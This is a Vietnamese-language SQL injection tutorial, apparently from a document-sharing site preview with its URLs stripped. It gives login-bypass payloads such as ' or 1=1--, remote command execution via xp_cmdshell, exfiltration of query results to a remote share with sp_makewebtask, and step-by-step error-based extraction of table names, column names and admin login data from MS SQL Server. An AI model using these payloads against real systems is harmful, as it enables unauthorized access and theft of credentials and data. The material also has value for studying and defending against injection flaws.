Tải bản đầy đủ (.pdf) (7 trang)

TUTORIALS OF MY FRIENDS OR ORTHER AUTHORS

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (388.76 KB, 7 trang )

TUTORIALS OF MY FRIENDS OR ORTHER AUTHORS
Tutorial ñöôïc vieát bôûi kidbandes
What you should look for? (Mục đích của việc tìm lỗi)
Tìm ra các trang cho phép bạn nhạp dữ liệu, ví dụ là login page, search page, .... Thỉnh thoảng, HTML page sử dụng
"Post" command để gởi thông số đến trang ASP khác. Vì vậy, bạn không thể thấy thông số trên thanh URL, và xem
"FORM" tag trong HTML code. Bạn có thể tìm vài thứ như đoạn code sau:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
Mọi thứ giữa <FORM> và </FORM> có thông số lỗi được sử dụng.
What if you can't find any page that takes input? Bạn làm gì nếu không tìm ðýợc trang nhập liệu nào ?
Bạn nên tìm kiếm trang nhý ASP, JSP, CGI, hay PHP. Cố gắng tìm các URL vói các thông số sau:
/>How do you test if it is vulnerable? (Chúng ta kiểm tra lỗi như thế nào)
Bắt đầu với 1 dấu nháy đơn, thêm vào như sau: hi' or 1=1--
Nhập vào login hoặc password, hoặc ngay cả URL.
- login: hi' or 1=1--
- password: hi' or 1=1--
- or 1=1--
Nếu bạn làm như thế với 1 giá trị ẩn, phải download source HTML từ site, lưu vào đĩa cứng và chỉnh sửa URL và giá
trị ẩn. Ví dụ:
<form action= method=post>
<input type=hidden name=A value="hi' or 1=1--">
</form>
Nếu may mắn thì trên site của bạn, bạn sẽ lấy được đăng nhập nhng không co tên đãng nhập và mật mã
Nhưng tại sao dùng 'or 1=1-- ?
Chúng ta xem 1 ví dụ khác tại sao ' or 1=1-- lại quan trọng. Khác với việc vượt đăng nhập, nó có thể xem nhiều dữ liệu
hơn là với các thông tin thông thường. Lấy 1 trang ASP bạn sẽ thấy cái link như sau:
/>Trong URL, 'category' là 1 tên biến, và 'food' là giá trị gán cho biến ðó. Trong trường
hợp ðó, 1 trang ASP có thể chứa các đoạn code sau (OK, đây là ðoạn code được viết ra cho bài viết này):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"


set rs=conn.execute(sqlstr
Như chúng ta thấy, biến sẽ có giá trị v_cat bên trong và vì vậy câu lệnh SQL sẽ trở thành:
SELECT * FROM product WHERE PCategory='food'
Câu lệnh truy vấn trên sẽ đưa ra tất cả các giá trị với điều kiện là field PCategory là 'food'.
Bây giờ câu truy vấn sẽ nhý thế này:
or 1=1--
Bây giờ, giá trị của v_cat sẽ là "food' or 1=1-- ", nếu chúng ta chuyển ðổi thành câu lệnh SQL, chúng ta sẽ có:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Câu truy vấn sẽ lọc ra các giá trị trong cột PCategory vói các giá trị là 'food'. Dấu "--" sẽ bỏ qua các truy vấn của
MSSQL . Thỉnh thoảng chúng ta cũng có thể sử dụng dấu "#".
Tuy nhiên, nếu hệ thống không co MSSQL hoặc chỉ đơn giản la truy vấn bình thường ta chỉ cần sử dụng
or 'a'='a
Câu lệnh SQL sẽ là :
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Phụ thuộc vào câu truy vấn, ta sử dụng các giá trị sau:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
How do I get remote execution with SQL injection? (Phương pháp để thực thi lệnh từ xa với SQL)
Để có thể inject(nhập thêm) 1 lệnh SQL, chúng ta có thể thực hiện lệnh. Cài đặt mặc ðịnh trên MS SQL chạy dưới
quyền SYSTEM, là user với quyền truy cập Aministrator. Chúng ta có thể sử dụng để lưu trữ master..xp_cmdshell thực
hiện lệnh từ xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Thử dấu (") nếu dấu (') không làm việc.
Hai dấu trừ ở cuối dòng lệnh cho phép thực hiện một lệnh SQL mới. Ðể kiểm tra rằng câu lệnh này thực hiện được,
bạn có thể lắng nghe các gói tin ICMP từ 10.10.1.2, kiểm tra bất kỳ gói tin nào từ server:
#tcpdump icmp

Nếu bạn không nhận ðýợc bất kỳ gói tin từ server, và nhận 1 thông báo lỗi là không ðýợc quyền, thì có thể
Administrator đã giới hạn quyền người dùng truy cập vào hệ thống.
How to get output of my SQL query?(Phýõng pháp Lấy kết quả từ câu truy vẫn SQL)
Nếu có thể, bạn sử dụng sp_makewebtask để viết câu truy vấn thành câu lệnh HTML:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.
TABLES"
Nhưng địa chỉ IP phải có thư mục được share cho tất cả mọi người
How to get data from the database using ODBC error message (Phương pháp Lấy dữ liệu từ CSDL sử dụng lỗi ODBC)
Chúng ta sử dụng thủ tục bị lỗi trong Server MS SQL để thực hiện lệnh. Xem ví dụ sau:
/>Chúng ta cố gắng kết hợp UNION trong '10' với 1 câu lệnh khác:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.
TABLES--
Bảng hệ thống INFORMATION_SCHEMA.TABLES chứa thông tin của tất cả các bảng trong hệ thống.
TABLE_NAME field chứa tất cả các tên của bảng trong hệ thống. Nó luôn luôn tồn tại theo cách mặc định. Câu truy
vấn sẽ là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Ðiều này se trả về bảng đầu tiên trong bảng INFORMATION_SCHEMA_TABLES. Khi chúng ta UNION giá trị này
với số nguyên 10, MS SQL Server sẽ cố gắng chuyển đổi giá trị chuỗi (nvarchar) thành 1 số nguyên. Thủ tục này bị
lỗi, bởi vì không thể thục hiện chuyển đổi từ nvarchar thành int. Server sẽ xuất hiện lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of
data type int.
/index.asp, line 5
Thông báo lỗi đủ để biết được là không thể chuyển ðổi giá trị chuỗi thành số. Trong trường hợp này, chúng ta có thể
lấy được tên table đầu tiên là "table1".
Để lấy table tiếp theo ta có thể sử dụng lệnh sau:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.
TABLES WHERE TABLE_NAME NOT IN ('table1')--
Chúng ta cũng có thể sử dụng nó bằng lệnh LIKE:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.

TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a
column of data type int.
/index.asp, line 5
Giá trị trong phù hợp, '%25login%25' sẽ được xem nhý là %login% trong SQL Server. Trong trường hợp này, ta có thể
lấy tên đầu tiên trong table có giá trị phù hợp là, "admin_login".
How to mine all column names of a table? (Cách lấy tất cả tên cột trong table)
Chúng ta có thể sử dụng table khác INFORMATION_SCHEMA.COLUMNS để ánh xạ tất cả các cột của table:
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column
of data type int.
/index.asp, line 5
Bây giờ chúng ta có cột đầu tiên trong table, chúng ta sử dụng NOT IN () để lấy cột tiếp theo:
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT
IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a
column of data type int.
/index.asp, line 5
Khi chúng ta tiếp tục có thể sẽ thu được một số cột cần thiết như là "password", "details". Chúng ta sẽ biết được nội
dung khi sử dụng câu truy vấn sau:
Quote:
UNION SELECT TOP 1 COLUMN_NAME FROM

INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT
IN ('login_id','login_name','password',details')--
Output:
Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement
contains a UNION operator.
/index.asp, line 5
How to retrieve any data we want? (phương pháp lấy tất cả dữ liệu mình muốn)
Bây giờ chúng ta sẽ xem xét 1 số table quan trọng, và các field của nó, Chúng ta cũng sử dụng cùng kỹ thuật trên ðể
lấy dữ liệu cần thiết trong CSDL .
Bây giờ chúng ta lấy giá trị đầu tiên trong cột login_name từ bảng "admin_login":
UNION SELECT TOP 1 login_name FROM admin_login--

×